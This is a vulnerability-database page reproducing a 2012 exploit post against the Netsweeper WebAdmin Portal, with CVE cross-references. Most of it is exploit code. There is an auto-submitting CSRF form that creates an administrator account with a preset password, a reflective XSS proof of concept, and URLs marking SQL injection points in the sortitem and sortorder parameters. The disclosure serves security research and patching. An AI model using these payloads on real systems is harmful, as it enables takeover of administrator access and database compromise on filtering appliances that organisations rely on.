Netsweeper WebAdmin Portal CSRF / XSS / SQL Injection

🗓️ 17 Sep 2012 00:00:00Reported by Jacob HolcombType

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Netsweeper WebAdmin Portal CSRF, XSS, SQL Injection discovered and reported in 2012, using CSRF to create an admin account, reflective XSS exploit, and SQL injection vulnerability in sortorder and sortitem variable

Reporter	Title	Published	Views	Family All 22
0day.today	Netsweeper WebAdmin Portal Multiple Vulnerabilities	10 Sep 201200:00	–	zdt
CVE	CVE-2012-2446	9 Jul 201218:00	–	cve
CVE	CVE-2012-2447	9 Jul 201218:00	–	cve
CVE	CVE-2012-3859	9 Jul 201218:00	–	cve
Cvelist	CVE-2012-2446	9 Jul 201218:00	–	cvelist
Cvelist	CVE-2012-2447	9 Jul 201218:00	–	cvelist
Cvelist	CVE-2012-3859	9 Jul 201218:00	–	cvelist
Exploit DB	Netsweeper WebAdmin Portal Multiple Vulnerabilities	10 Jul 201200:00	–	exploitdb
Exploit DB	Netsweeper WebAdmin Portal - Multiple Vulnerabilities	17 Sep 201200:00	–	exploitdb
EUVD	EUVD-2012-2432	7 Oct 202500:30	–	euvd

`# Exploit Title: Netsweeper WebAdmin Portal CSRF, Reflective XSS, and SQL Injection ("The later")\  
# Date: Discovered and reported CSRF and XSS 4/2012 and "The later" 7/2012\  
# Author: Jacob Holcomb/Gimppy042\  
# Software Link: Netsweeper Inc. - Netsweeper Internet Filter (www.netsweeper.com)\  
# CVE :  
CVE-2012-2446 for the XSS issues, CVE-2012-2447 for the CSRF, and  
CVE-2012-3859 for the SQL Injection ("The later)  
NOTE:  
  
# "The later" was disclosed and reported to Netsweeper at a later date and will be posted as an addendum to this post and my posted disclosure report in the near future. "The later" vulnerability bears CVE-2012-3859.  
  
CSRF Exploitation:  
  
In the following example we use CSRF to forge a HTTP POST request that will create an administrator account. The user must be logged in for CSRF to work. Exploitation of a non-administrative users (Sys op) account results in creation of a standard user account.  
  
<head>  
<title>CSRF Create Admin - Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>  
</head>  
  
<body>  
  
<form name="pwnd" action="http://server.domain_name/webadmin/accountmgr/adminupdate.php?act=add&filter_login=&goodmsg=Account+Added" method="post">  
<input type="hidden" name="userid" value="netsweeperPWND" />  
<input type="hidden" name="firstname" value="Jacob" />  
<input type="hidden" name="lastname" value="Holcomb" />  
<input type="hidden" name="email" value="[email protected]" />  
<input type="hidden" name="organization" value="yep_PWND" />  
<input type="hidden" name="description" value="PWND" />  
<input type="hidden" name="pass1" value="Pwnd-321" />  
<input type="hidden" name="pass2" value="Pwnd-321" />  
<input type="hidden" name="classification" value="admin" />  
<input type="hidden" name="expire" value="" />  
<input type="hidden" name="accounttheme" value="" />  
<input type="hidden" name="accountpmtheme" value="gpmtheme" />  
  
<script>  
document.pwnd.submit();  
</script>  
  
</body>  
  
  
XSS Exploitation:  
  
The following POC code exploits a reflective XSS vulnerability using the HTTP POST method.  
  
<head>  
<title>Post XSS(Reflective) Netsweeper WebAdmin Portal BY:Jacob Holcomb</title>  
</head>  
  
<body>  
  
<form name="pwnd" action="http:// server.domain_name  
/webadmin/tools/local_lookup.php?action=lookup" method="post">  
<input type="hidden" name="user" value="pwnd" />  
<input type="hidden" name="group" value="><script>alert('XSS')</script>" />  
<input type="hidden" name="policy" value="pwnd" />  
<input type="hidden" name="url" value="pwnd" />  
  
<script>  
document.getElementById('pwnd').submit();  
</script>  
  
</body>  
  
  
SQL Injection ("The later") Exploitation:  
  
The Netsweeper Internet Filter WebAdmin Portal is vulnerable to SQL injection, in the sortorder and sortitem variables.  
  
http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem= SQLi  
none &sortorder=asc&type=demand&id=1441  
or  
  
http://SERVER_Hostname/webadmin/reporter/view_details.php?sortitem=report_date&sortorder= SQLi  
none &type=demand&id=1441.  
  
  
`

17 Sep 2012 00:00Current

0.8Low risk

Vulners AI Score0.8

EPSS0.0743